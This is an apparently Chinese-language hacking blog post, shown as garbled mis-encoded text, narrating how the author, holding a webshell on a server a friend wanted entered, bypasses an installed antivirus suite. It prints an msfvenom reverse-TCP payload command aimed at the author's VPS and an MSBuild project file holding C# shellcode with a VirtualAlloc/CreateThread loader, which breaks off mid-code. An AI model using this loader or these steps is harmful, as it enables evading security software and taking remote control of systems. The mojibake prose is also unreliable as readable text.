°×Ãûµ¥msbuildÈÆ¹ý360Ì××°°²È«¹·ÔÆËøÌáÈ¨

admin ·¢±íÓÚ 2022-3-31 02:01:12

0x00 Ç°ÑÔ


Æ½³£×Ô¼ºÍ¦Ï²»¶ÕÛÌÚµÄ£¬ÓÐÊ±ºòÓöµ½Ò»¸öºÃµÄÍ»ÆÆµã»áÕÛÌÚËü¸ö¼¸Ìì¼¸Ò¹£¬¸Õ¸ÕÃ¦Íê»¤Íø£¬Õý×¼±¸ÐÞÕû¼¸Ìì£¬Í»È»ÓÐÈËÅóÓÑÁªÏµÎÒËµÓÐ¸öÈÎÎñÐèÒª¸ã½øÈ¥£¬ÎÊÎÒÄÜÐÐ²»ÄÜÐÐ£¬ºóÀ´µÃÖªÊÇÒÑ¾ÄÃµ½webshellÁË£¬Í¨¹ýÒ»·¬Å¬Á¦±ãÓÐÁËÏÂÎÄ¡£


0x01 Ç°ÆÚµÄÐÅÏ¢´ÌÌ½**


Ê×ÏÈÄÃµ½webshell£¬·¢ÏÖphpshellÖ»ÄÜ·ÃÎÊshellËùÔÚÄ¿Â¼£¬Á¬ÍøÕ¾¸ùÄ¿Â¼¶¼¿ç²»¹ýÈ¥ÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516164151-7319cd96-77b6-1.png"><img width="782" height="468" src="https://www.2k8.org/content/uploadfile/202203/17/21bf1e23.png" alt="" style="vertical-align:middle;" /></a> 
cÅÌdÅÌ¸ùÄ¿Â¼¾Í¸ü±ðÌá¿ç¹ýÈ¥ÁË£¬ËæÖ®Ö´ÐÐÒ»ÏÂÃüÁî¿´¿´£¬ÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190517122722-10fd3ea8-785c-1.png"><img width="841" height="557" src="https://www.2k8.org/content/uploadfile/202203/17/ace0ecd8.png" alt="" style="vertical-align:middle;" /></a>


whoamiµÈ¼òµ¥µÄÃüÁî¿ÉÒÔÅÜÆðÀ´£¬tasklist·¢ÏÖÁË Ä³Ä³°²È«Ì××°µÈ°²È«·À»¤½ø³Ì½ø³Ì£¬om my god,´Ì¼¤£¬¾ÍÏ²»¶ÕâÖÖ¸÷ÖÖÐèÒªÈÆµÄ»·¾³£¬¼ÈÈ»ÄÜÅÜÆðÃüÁîÀ´ÄÇ¾ÍÉÏÃâÉ±µÄexpÀ´ÊÔ×ÅÌáÒ»ÏÂ£¨Í¨¹ýrar½âÑ¹·½·¨Í»ÆÆÄ³·À»¤³ÌÐòÉÏ´«£©£¬ÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516164841-67eaaed0-77b7-1.png"><img width="878" height="120" src="https://www.2k8.org/content/uploadfile/202203/17/584fd6e8.png" alt="" style="vertical-align:middle;" /></a> 
¾¹ý²âÊÔ·¢ÏÖ£¬²»¹Ü°Ñexp·ÅÄÄ¸öÄ¿Â¼¶¼ÌáÊ¾¾Ü¾ø·ÃÎÊ£¬ÌØ±ðÊÇnetÃüÁî¶¼½ûÖ¹Ö´ÐÐ£¬Ô½·¢ÈÃÎÒ¸Ð¾õÊÇ°²×°°²È«·À»¤³ÌÐòµÄÔµ¹Ê£»


0x02 ÉîÈë


Í¨¹ýmsbuild.exe°×Ãûµ¥·½Ê½ÔËÐÐmetasploit payloadÈÆ¹ýÄ³°²È«³ÌÐòµ÷³öw3wp.exe½ø³Ì 
ÔÚwebshellÖ´ÐÐÖ±½ÓÖ´ÐÐrar³ÌÐòÒ»Ö±ÌáÊ¾¾Ü¾ø·ÃÎÊÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516170138-36d7d71c-77b9-1.png"><img width="725" height="107" src="https://www.2k8.org/content/uploadfile/202203/17/cfb047c8.png" alt="" style="vertical-align:middle;" /></a> 
ÔÚÊµ¼Ê×ö²âÊÔµÄÊ±ºò·¢ÏÖwindowsÏÂÓÃshell·´µ¯¸öcmdshell»ØÀ´Ö´ÐÐÒ»Ð©ÃüÁîÒª±ÈÔÚwebshellºÃÐí¶à£¬¿´¹ÙÇë¿´


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516170658-f59fa38c-77b9-1.png"><img width="709" height="311" src="https://www.2k8.org/content/uploadfile/202203/17/2a32da51.png" alt="" style="vertical-align:middle;" /></a> 
³É¹¦½«ÎÒÃÇÏëÒªµÄexe³ÌÐò½âÑ¹µ½Ö¸¶¨Ä¿Â¼£¬webshellÏÂÊÇÃ»·¨cdµ½rarÄ¿Â¼µÄ£¬ÏÖÔÚÄÜÕý³£ÉÏ´«exe£¬ÎÒÃÇ¿´ÄÜ²»ÄÜÏë°ì·¨ÈÃÔÛÃÇµÄmsf²»ÒªÏÐÏÂÀ´£¬Ö®Ç°¿¼ÂÇÓÃ php/meterpreter/reverse_tcpÕâ¸öpayloadÉÏÏßµ¯»Ømeterpreter£¬µ«ÊÇµ¯»ØÀ´Ê²Ã´È¨ÏÞÒ²Ã»£¬Á¬ps½ø³ÌÃüÁî¶¼Ã»·¨ÏÔÊ¾£¬ÕâÊ±ºò¾ÍÏëµ½ÁËÊ¹ÓÃmsbuild.exe°×Ãûµ¥·½Ê½ÔËÐÐmetasploit payloadÈÆ¹ýÄ³·À»¤³ÌÐòÈÃmsfÉÏÏß£¬ÓÚÊÇ¾Í¿ªÊ¼¶¯ÊÖ£¬¾ßÌåÈçÏÂ£º 
Ê×ÏÈÊ¹ÓÃmsfÉú³ÉÒ»¸öc#µÄpayload


msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp 
´úÂëÈçÏÂ£º

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
byte[] buf = new byte[179779] {

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
 

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
 

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x8b,0x71,0x1c,0x85,0xf6,0x74,0x58,0x33,0xff,0x39,0x79,0x20,0x74,0x51,0x39,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x79,0x24,0x74,0x4c,0x89,0x79,0x14,0x89,0x79,0x08,0x89,0x79,0x18,0xc7,0x41,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x2c,0x02,0x00,0x00,0x00,0x8b,0x46,0x08,0x89,0x7e,0x14,0x89,0x46,0x10,0x39,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x7e,0x18,0x7d,0x03,0x89,0x7e,0x18,0x39,0x7e,0x18,0x6a,0x2a,0x58,0x6a,0x71,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x5a,0x0f,0x45,0xc2,0x89,0x46,0x04,0xc7,0x41,0x30,0x01,0x00,0x00,0x00,0x56,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x89,0x7e,0x20,0xe8,0x88,0x07,0x00,0x00,0x56,0xe8,0x8a,0x15,0x00,0x00,0x59,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x59,0x33,0xc0,0xeb,0x03,0x6a,0xfe,0x58,0x5f,0x5e,0x5d,0xc3,0x55,0x8b,0xec,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x8b,0x4d,0x08,0x33,0xd2,0x56,0x57,0x85,0xc9,0x0f,0x84,0x8d,0x00,0x00,0x00,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x8b,0x71,0x1c,0x85,0xf6,0x0f,0x84,0x82,0x00,0x00,0x00,0x8b,0x7d,0x0c,0x83,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0xff,0xff,0x6a,0x06,0x58,0x0f,0x44,0xf8,0x83,0xff,0x09,0x77,0x71,0x83,0x7d,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x10,0x02,0x77,0x6b,0x6b,0x46,0x7c,0x0c,0x53,0x6b,0xdf,0x0c,0x8b,0x80,0x00,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x9d,0x02,0x10,0x3b,0x83,0x00,0x9d,0x02,0x10,0x74,0x11,0x39,0x51,0x08,0x74,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
0x0c,0x6a,0x01,0x51,0xe8,0x2b,0xf6,0xff,0xff,0x59,0x59,0x8b,0xd0,0x39,0x7e,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
 0x7c,0x74,0x31¡£¡£¡£´úÂëÌ«³¤Ê¡ÂÔ¡£¡£¡£

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
 };

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
 

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
             IntPtr hThread = IntPtr.Zero;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
             UInt32 threadId = 0;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              IntPtr pinfo = IntPtr.Zero;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
             WaitForSingleObject(hThread, 0xFFFFFFFF);

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            return true;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
          } 

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        }     

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
       ]]>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
       </Code>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
    </Task>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
   </UsingTask>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
 </Project>


ÓÃmsfÉú²úµÄ´úÂëÌæ»»ÔÊ¼´úÂëµÄÄÚÈÝ£¬ÕâÊÇÔÊ¼payloadÈçÏÂ£º

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
  

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
  

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
  

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
   

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
  

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
  <Target Name="Hello">

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
    <ClassExample />

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
  </Target>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
  <UsingTask

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
    TaskName="ClassExample"

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
    TaskFactory="CodeTaskFactory"

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
    <Task>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
 

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
      <Code Type="Class" Language="cs">

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
      <![CDATA[

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        using System;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        using System.Runtime.InteropServices;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        using Microsoft.Build.Framework;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        using Microsoft.Build.Utilities;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        public class ClassExample :  Task, ITask

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        {         

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
          private static UInt32 MEM_COMMIT = 0x1000;          

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
          

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,

